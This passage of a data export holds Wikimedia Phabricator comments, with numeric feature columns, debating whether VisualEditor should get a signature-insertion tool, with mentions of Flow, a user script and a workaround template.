Core MediaWiki currently has no way to do this (other than the implied assumption that all talk namespaces need signatures), but there happens to be a patch pending that would introduce one (https://gerrit.wikimedia.org/r/87649). We should just wait for that to be implemented, and then use the same logic as wikitext editor when deciding whether to enable signatures or not.",,,1405887415,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,True,,,54,,1.0,0.0,0.5,1.0,1.5,2.5,2.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,1.0,1.5,0.0,6.5,8.5,0.0,3.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,3.5,1.5,0.5,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.5,1.0,0.5,0.0,12.0,2.0,1.0,0.0,1.5,0.0,0.0,0.0,0.0,1.5,0.0,0.5,1.5,0.0,0.0,0.0,1.5,0.0,4.5,3.0,4.0,3.0,4.0,8.5,0.0,0.0,0.0,0.0,7.0,0.0,1.0,0.0,2.0,8.5,2.0,0.0,0.0,0.0,2.0,0.0,2.5,2.0,0.0,2.0,0.0,0.0,0.0,4.0754716981132075,0.839622641509434,"Actually, a $wg config variable for this is not a very good idea. We should just be smart and display the signature button in the namespaces that need it (and no others).

Core MediaWiki currently has no way to do this (other than the implied assumption that all talk namespaces need signatures), but there happens to be a patch pending that would introduce one (GERRIT_URL). We should just wait for that to be implemented, and then use the same logic as wikitext editor when deciding whether to enable signatures or not."
231823,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,"(In reply to Bartosz Dziewoński from comment #16)
> That sounds fine by me. So it would be enabled with a $wg config variable?

That was my thought, yes.

> I wonder if it would make sense to let users enable it for themselves (by
> loading a RL module in common.js, for example).

It doesn't; either VE namespaces are signable or they're not. A per-user setting doesn't make sense.

""Assigning"" to Bartosz given he's done all the work here. :-)",,,1405787749,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,True,,,54,,2.0,0.0,0.0,0.0,5.0,2.0,3.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,2.0,0.0,6.0,8.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,2.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,15.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,18.0,0.0,3.0,6.0,0.0,2.0,0.0,2.0,2.0,2.0,2.0,0.0,6.0,8.0,6.0,0.0,3.0,0.0,6.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.393939393939394,0.7878787878787878,"(In reply to Bartosz Dziewoński from comment #16)
QUOTE

That was my thought, yes.

QUOTE
QUOTE

It doesn't; either VE namespaces are signable or they're not. A per-user setting doesn't make sense.

""Assigning"" to Bartosz given he's done all the work here. :-)"
231816,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,"That sounds fine by me. So it would be enabled with a $wg config variable?

I wonder if it would make sense to let users enable it for themselves (by loading a RL module in common.js, for example).",,,1405775648,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,True,,,54,,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,17.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,9.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,9.0,0.0,2.0,0.0,13.0,17.0,2.0,2.0,0.0,0.0,13.0,0.0,0.0,4.0,4.0,2.0,0.0,0.0,2.0,3.5,0.8478260869565217,"That sounds fine by me. So it would be enabled with a $wg config variable?

I wonder if it would make sense to let users enable it for themselves (by loading a RL module in common.js, for example)."
231810,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,"(In reply to Lokal_Profil from comment #14)
> Being a basic building block of a wiki which is currently missing from VE I
> would not mark this as Resolved until there is a solution integrated in VE.
> Better then to leave it open and hope that some volunteer takes it on if it
> is deemed to be outside of the scope for Wikimedia to implement.

There is never going to be a ""sign post"" feature integrated into VisualEditor as deployed on WMF servers. That's the whole point of Flow. From a perspective of ""VisualEditor for WMF users"", this is WONTFIXed.

This bug is not marked as ""WONTFIX"" though, because it's entirely plausible that someone might want to run VisualEditor on a wiki without Flow (or LQT or Message Wall or whatever).

Maybe we should bundle up Bartosz's code into a VE plug-in that's available for users (but not on by default)?",,,1405474400,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,True,,,54,,0.0,1.0,1.0,1.0,1.5,2.5,0.5,1.0,1.0,0.0,2.5,0.0,0.0,0.0,0.5,1.0,0.0,4.5,14.5,1.0,1.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,0.0,1.0,1.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,10.0,1.0,0.5,0.0,0.0,1.0,0.5,1.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,3.0,2.5,15.0,1.5,3.0,5.5,0.0,0.0,0.0,0.5,3.0,0.0,0.5,0.0,1.5,14.5,11.5,1.0,3.5,0.0,1.5,0.0,0.0,2.5,0.0,0.5,0.0,0.0,0.0,3.707692307692308,0.7769230769230769,"(In reply to Lokal_Profil from comment #14)
QUOTE
QUOTE
QUOTE
QUOTE

There is never going to be a ""sign post"" feature integrated into VisualEditor as deployed on WMF servers. That's the whole point of Flow. From a perspective of ""VisualEditor for WMF users"", this is WONTFIXed.

This bug is not marked as ""WONTFIX"" though, because it's entirely plausible that someone might want to run VisualEditor on a wiki without Flow (or LQT or Message Wall or whatever).

Maybe we should bundle up Bartosz's code into a VE plug-in that's available for users (but not on by default)?"
231804,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,"Being a basic building block of a wiki which is currently missing from VE I would not mark this as Resolved until there is a solution integrated in VE. Better then to leave it open and hope that some volunteer takes it on if it is deemed to be outside of the scope for Wikimedia to implement.

Adding a signature should be as easy or easier (for the user) as adding an image or template. Also since there is nothing preventing signatures from being added to any namespace in the wikitext editor there should be no hard-coded exceptions in the VE-solution (although there could of course be site-wide setting disallowing them.",,,1405344964,,PHID-USER-uu7wg6g3b37dcktbje3a,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,False,,,54,,1.5,0.0,0.0,1.5,0.5,3.5,2.5,0.0,1.0,0.5,4.0,0.0,0.0,0.0,3.0,0.5,1.5,4.5,14.5,1.0,1.5,1.5,1.0,0.0,0.0,0.0,0.0,0.5,1.0,0.5,1.5,3.5,1.0,1.5,2.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.5,12.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,5.5,6.5,5.5,2.5,2.0,9.0,0.0,0.0,0.0,0.0,4.5,0.0,0.0,0.0,3.0,14.5,1.5,0.0,0.0,0.0,3.0,0.0,0.5,3.0,1.0,3.5,1.5,0.0,0.0,4.128776241679468,0.7918586789554531,"Being a basic building block of a wiki which is currently missing from VE I would not mark this as Resolved until there is a solution integrated in VE. Better then to leave it open and hope that some volunteer takes it on if it is deemed to be outside of the scope for Wikimedia to implement.

Adding a signature should be as easy or easier (for the user) as adding an image or template. Also since there is nothing preventing signatures from being added to any namespace in the wikitext editor there should be no hard-coded exceptions in the VE-solution (although there could of course be site-wide setting disallowing them."
231799,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,"I wonder what should we do with this bug? I think it should be marked either RESOLVED WONTFIX or RESOLVED FIXED, but I'm not sure which is more appropriate.",,,1405339051,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,True,,,54,,0.0,0.0,0.0,3.0,3.0,6.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,12.0,0.0,6.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,21.0,0.0,9.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,15.0,3.0,0.0,3.0,0.0,0.0,15.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,3.878787878787879,0.8787878787878788,"I wonder what should we do with this bug? I think it should be marked either RESOLVED WONTFIX or RESOLVED FIXED, but I'm not sure which is more appropriate."
231792,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,I replied at [[meta:User talk:Matma Rex/visualeditor-signature.js]].,,,1405338928,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,True,,,54,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,11.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,3.3157894736842106,0.8421052631578947,I replied at [[meta:User talk:Matma Rex/visualeditor-signature.js]].
231786,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,"(In reply to SJ from comment #3)
> I think it is important to enable signatures in VE.  I have found it useful
> in a few circumstances; and regretted having to drop out of VE just for that
> one addition.

The use case I would like mention is adding your name to the list of interested attendees at the program pages of https://wikimania2014.wikimedia.org/. Bartosz tools works wonderfully outside content name space. However, it explicitly doesn't work on content name space in which the program pages at the Wikimania site reside.",,,1405327655,,PHID-USER-mcyovqjor52nj3se4lq7,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,False,,,54,,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,1.0,0.0,6.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,4.0,0.0,1.0,6.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,15.0,0.0,0.0,8.0,0.0,0.0,0.0,1.0,6.0,0.0,1.0,0.0,4.0,15.0,6.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,4.070422535211268,0.7605633802816901,"(In reply to SJ from comment #3)
QUOTE
QUOTE
QUOTE

The use case I would like mention is adding your name to the list of interested attendees at the program pages of URL Bartosz tools works wonderfully outside content name space. However, it explicitly doesn't work on content name space in which the program pages at the Wikimania site reside."
231780,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,"Whoa, that's scary. Please don't do that.

I wrote a script to implement signatures properly. This definitely isn't what the editor was designed to do, but, as it was noted in earlier comments, this has its use cases.

https://meta.wikimedia.org/wiki/User:Matma_Rex/visualeditor-signature.js

Please comment about it on the script's talk page, not here :) I'd be happy to include more translations (there are just two words to translate).

I think the only thing missing is an icon that would match the look-and-feel of existing ones. I'd be happy to add it, too, if only someone drew one (SVG).",,,1405303431,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,True,,,54,,0.0,1.0,0.0,1.0,2.0,4.0,2.5,0.0,0.0,1.0,1.0,2.5,0.0,1.5,1.0,3.0,0.0,6.0,7.0,1.0,3.5,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,2.5,1.0,4.0,2.0,2.5,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.5,0.0,1.5,0.0,1.0,0.0,8.5,1.5,0.5,0.0,1.5,0.0,0.0,0.0,0.0,1.0,0.0,1.5,0.5,0.0,1.5,0.0,1.0,0.0,4.0,4.5,6.0,1.0,1.5,6.0,0.0,1.0,0.0,0.0,8.0,1.5,1.5,0.0,5.0,7.0,1.0,0.0,0.0,0.0,5.0,0.0,1.5,1.5,0.0,1.5,1.5,0.0,0.0,3.431795634920635,0.7247023809523809,"Whoa, that's scary. Please don't do that.

I wrote a script to implement signatures properly. This definitely isn't what the editor was designed to do, but, as it was noted in earlier comments, this has its use cases.

URL

Please comment about it on the script's talk page, not here :) I'd be happy to include more translations (there are just two words to translate).

I think the only thing missing is an icon that would match the look-and-feel of existing ones. I'd be happy to add it, too, if only someone drew one (SVG)."
231774,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,"Adding a signature with VisualEditor can be simulated using a template:

---template code:---
{{{Sign}}}
<noinclude>
This template allows to sign using Visual Editor by adding this template as you can't enter four tildes <nowiki>~~~~</nowiki> in VE. Enter the template in VE. Hit Add template. Enter <nowiki>~~~~</nowiki> in the field. Hit Insert template. Hit Save page. Enter edit summary. Hit Save. Doone.</br>
<templatedata>
{
	""description"": ""A template to sign using Visual Editor. "",
	""params"": {
		""Sign"": {
			""aliases"": [
				""Signature""
			],
			""label"": ""Sign by entering ~~~~ in the field below"",
			""description"": ""Field to enter signature, that is four tildes"",
			""default"": ""Please enter four tildes here"",
			""required"": true
		}
	}
}
</templatedata>
</noinclude>
---end of template code---

Usage:
Enter the template in VE. Hit Add template. Enter ~~~~ in the field. Hit Insert template. Hit Save page. Enter edit summary. Hit Save.

Example:
See https://www.mediawiki.org/wiki/Template:VESign. Application of template tested on https://www.mediawiki.org/wiki/User:Ad_Huikeshoven/test. 

Evaluation:
There might be nicer methods to accomplish the same, maybe using JS (I have no experiene writing JS). When there is a switch over to Parsoid rendering the templates mid-edit rather than relying on PHP parser the above solution will probably break, as will probably do any solution to bug 51146.",,,1405282624,,PHID-USER-mcyovqjor52nj3se4lq7,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,False,,,53,,0.25,0.0,0.0,0.25,0.25,1.75,0.25,0.0,0.0,0.0,2.0,0.25,0.0,0.0,0.75,0.25,0.0,2.0,6.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.75,0.75,1.25,0.25,0.0,1.25,0.25,0.0,0.0,0.25,0.5,0.25,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,12.25,0.25,0.5,0.25,0.0,0.25,0.25,0.0,0.0,0.0,0.0,0.25,1.0,0.0,0.0,0.0,0.0,0.0,3.25,1.25,14.5,0.25,0.0,4.75,0.0,0.0,0.0,0.0,7.0,0.25,1.0,0.0,0.5,6.5,7.5,0.0,6.5,0.0,0.5,0.0,0.25,1.0,0.0,2.75,0.25,0.0,3.25,3.617088607594937,0.6234177215189873,"Adding a signature with VisualEditor can be simulated using a template:

---template code:---
{{{Sign}}}
<noinclude>
This template allows to sign using Visual Editor by adding this template as you can't enter four tildes <nowiki>~~~~</nowiki> in VE. Enter the template in VE. Hit Add template. Enter <nowiki>~~~~</nowiki> in the field. Hit Insert template. Hit Save page. Enter edit summary. Hit Save. Doone.</br>
<templatedata>
{
	""description"": ""A template to sign using Visual Editor. "",
	""params"": {
		""Sign"": {
			""aliases"": [
				""Signature""
			],
			""label"": ""Sign by entering ~~~~ in the field below"",
			""description"": ""Field to enter signature, that is four tildes"",
			""default"": ""Please enter four tildes here"",
			""required"": true
		}
	}
}
</templatedata>
</noinclude>
---end of template code---

Usage:
Enter the template in VE. Hit Add template. Enter ~~~~ in the field. Hit Insert template. Hit Save page. Enter edit summary. Hit Save.

Example:
See URL Application of template tested on URL 

Evaluation:
There might be nicer methods to accomplish the same, maybe using JS (I have no experiene writing JS). When there is a switch over to Parsoid rendering the templates mid-edit rather than relying on PHP parser the above solution will probably break, as will probably do any solution to bug 51146."
231765,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,"To clarify, this is a ""WONTFIX"" for VE as it is (and will be) enabled on WMF projects, but if someone wants to write a plugin for VE for other wiki hosts using it that want to try to make VE work in discussion namespaces (and don't want to use Flow).

There are a number of meanings of ""Lowest"" priority, and this is one of the confusing ones. Sorry. :-(",,,1390430037,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,True,,,29,,0.0,1.0,0.0,0.0,1.0,5.0,1.0,0.0,0.0,1.0,2.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,17.0,1.0,6.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,8.0,0.0,2.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,6.0,12.0,1.0,5.0,7.0,0.0,0.0,0.0,0.0,8.0,1.0,1.0,0.0,2.0,17.0,6.0,0.0,5.0,0.0,2.0,0.0,1.0,3.0,0.0,1.0,0.0,0.0,0.0,3.3255813953488373,0.686046511627907,"To clarify, this is a ""WONTFIX"" for VE as it is (and will be) enabled on WMF projects, but if someone wants to write a plugin for VE for other wiki hosts using it that want to try to make VE work in discussion namespaces (and don't want to use Flow).

There are a number of meanings of ""Lowest"" priority, and this is one of the confusing ones. Sorry. :-("
231759,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,"(In reply to comment #6)
> Will Flow be applicable to all namespaces? There are lots of article-style
> pages that temporarily or permanently would benefit from inline comments in
> the
> middle of what is otherwise a full-text long-form page.  In those cases* I
> don't see how the Flow design will help.

Like what? Some examples, please?

> 
> Signatures are useful in most namespaces, whereas ""idiosyncratic protocols
> and
> templates and formats"", with unknown amounts of associated work, seem like
> higher-hanging tasty fleshy vegetalia.
> 
Sure, and work on those namespaces is best done when we actually discuss _deploying_ in those namespaces - and when it is fully working for the primary target of the VE (i.e., the mainspace).

> * Examples: wikis that don't separate talk from content; wikis that have two
> layers of talk: limited inline v. permanent talk-threads; articles or main
> pages that tabulate membership or participation or otherwise include tables
> that include user signatures.

Actual examples for each example...?",,,1390426187,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,False,,,29,,2.0,0.0,1.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,8.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,22.0,2.0,2.0,7.0,0.0,0.0,0.0,1.0,2.0,0.0,1.0,0.0,2.0,8.0,12.0,3.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,2.0,0.0,1.0,1.0,3.463917525773196,0.5257731958762887,"(In reply to comment #6)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Like what? Some examples, please?

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
Sure, and work on those namespaces is best done when we actually discuss _deploying_ in those namespaces - and when it is fully working for the primary target of the VE (i.e., the mainspace).

QUOTE
QUOTE
QUOTE
QUOTE

Actual examples for each example...?"
231751,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,"Will Flow be applicable to all namespaces? There are lots of article-style pages that temporarily or permanently would benefit from inline comments in the middle of what is otherwise a full-text long-form page.  In those cases* I don't see how the Flow design will help.  

Signatures are useful in most namespaces, whereas ""idiosyncratic protocols and templates and formats"", with unknown amounts of associated work, seem like higher-hanging tasty fleshy vegetalia.

* Examples: wikis that don't separate talk from content; wikis that have two layers of talk: limited inline v. permanent talk-threads; articles or main pages that tabulate membership or participation or otherwise include tables that include user signatures.",,,1390423793,,PHID-USER-fgzcdbj3je3ksnhufo47,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,False,,,29,,0.5,0.0,0.0,0.0,1.0,8.0,1.5,0.0,0.0,0.0,2.5,1.0,0.0,0.0,0.5,0.5,0.0,4.5,8.5,0.0,0.0,0.0,0.5,0.0,0.0,1.5,0.0,0.0,0.0,1.5,0.0,6.5,0.5,0.0,0.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,3.0,0.0,21.5,0.0,1.0,1.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.5,1.5,2.0,4.0,1.0,4.0,2.5,0.0,0.0,0.0,0.0,2.5,0.0,0.5,0.0,0.5,8.5,1.5,0.5,1.0,0.0,0.5,0.0,4.5,0.5,0.0,0.5,0.5,0.5,0.0,4.485507246376812,0.8188405797101449,"Will Flow be applicable to all namespaces? There are lots of article-style pages that temporarily or permanently would benefit from inline comments in the middle of what is otherwise a full-text long-form page.  In those cases* I don't see how the Flow design will help.  

Signatures are useful in most namespaces, whereas ""idiosyncratic protocols and templates and formats"", with unknown amounts of associated work, seem like higher-hanging tasty fleshy vegetalia.

* Examples: wikis that don't separate talk from content; wikis that have two layers of talk: limited inline v. permanent talk-threads; articles or main pages that tabulate membership or participation or otherwise include tables that include user signatures."
231743,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,"That's probably something to do with the fact that the VE isn't really being used in discussion namespaces.

This is not, by far, the only feature blocking VE from being useful in many other contexts. A lot of the discussion namespaces have their own idiosyncratic protocols and templates and formats that parsoid and the VE will then have to directly support, which is likely to be some (unknown) additional amount of work, and that'll all be done just in time for us to start releasing Flow, which does auto-signing.

I can understand the low prioritisation ;).",,,1390420131,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,False,,,29,,2.5,0.5,0.0,1.5,1.0,7.5,2.5,0.0,0.0,0.0,2.0,1.5,0.0,0.5,0.0,2.0,0.0,6.0,9.5,0.5,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,1.0,2.0,0.5,4.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.5,0.0,2.0,0.0,1.5,1.5,0.0,0.0,8.5,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,1.5,2.5,1.0,0.0,1.0,0.0,0.0,4.5,4.5,5.0,0.5,3.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,2.5,9.5,3.0,0.0,0.0,0.0,2.5,0.0,2.5,0.5,1.0,1.5,0.0,0.0,0.5,4.12280701754386,0.8070175438596492,"That's probably something to do with the fact that the VE isn't really being used in discussion namespaces.

This is not, by far, the only feature blocking VE from being useful in many other contexts. A lot of the discussion namespaces have their own idiosyncratic protocols and templates and formats that parsoid and the VE will then have to directly support, which is likely to be some (unknown) additional amount of work, and that'll all be done just in time for us to start releasing Flow, which does auto-signing.

I can understand the low prioritisation ;)."
231735,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,I just noticed this is flagged as lowest-priority enhancement... again surprising considering the importance and prevalence of signing in wiki culture and other MW docs.,,,1390419820,,PHID-USER-fgzcdbj3je3ksnhufo47,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,False,,,29,,0.0,0.0,0.0,3.0,0.0,14.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,3.0,7.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,17.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,7.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,5.0,0.9655172413793104,I just noticed this is flagged as lowest-priority enhancement... again surprising considering the importance and prevalence of signing in wiki culture and other MW docs.
231728,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,"I think it is important to enable signatures in VE.  I have found it useful in a few circumstances; and regretted having to drop out of VE just for that one addition.

This is the only feature blocking VE from being useful in a much wider variety of contexts, in my opinion.  (And it's odd for all sig options to be missing when reminders about how to sign and where to sign are some of the most prominent in the MediaWiki interface otherwise.)",,,1390419772,,PHID-USER-fgzcdbj3je3ksnhufo47,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,False,,,29,,4.0,0.0,0.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,6.0,0.0,0.0,1.0,0.0,3.0,0.0,7.0,19.0,0.0,5.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,6.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,7.0,1.0,1.0,0.0,2.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,5.0,8.0,3.0,3.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,6.0,19.0,5.0,0.0,0.0,0.0,6.0,0.0,3.0,2.0,0.0,3.0,1.0,1.0,0.0,3.8210526315789473,0.7157894736842105,"I think it is important to enable signatures in VE.  I have found it useful in a few circumstances; and regretted having to drop out of VE just for that one addition.

This is the only feature blocking VE from being useful in a much wider variety of contexts, in my opinion.  (And it's odd for all sig options to be missing when reminders about how to sign and where to sign are some of the most prominent in the MediaWiki interface otherwise.)"
231722,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,"http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback/Archive_2013_07#Let_me_sign.21

^Updated link",,,1373787620,,PHID-USER-kmbrbjm7jackp4nrang3,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.25,1.0,"URL

^Updated link"
231714,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,"The VisualEditor isn't going to be in project space at any point in the near future, however.",,,1373571593,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,False,,,1,,5.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,15.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,20.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,10.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,20.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.85,0.95,"The VisualEditor isn't going to be in project space at any point in the near future, however."
52918,"VisualEditor: Come up with a different name for ""Preformatted"" in the text formatting menu","**Author:** `mcdevitd`

**Description:**
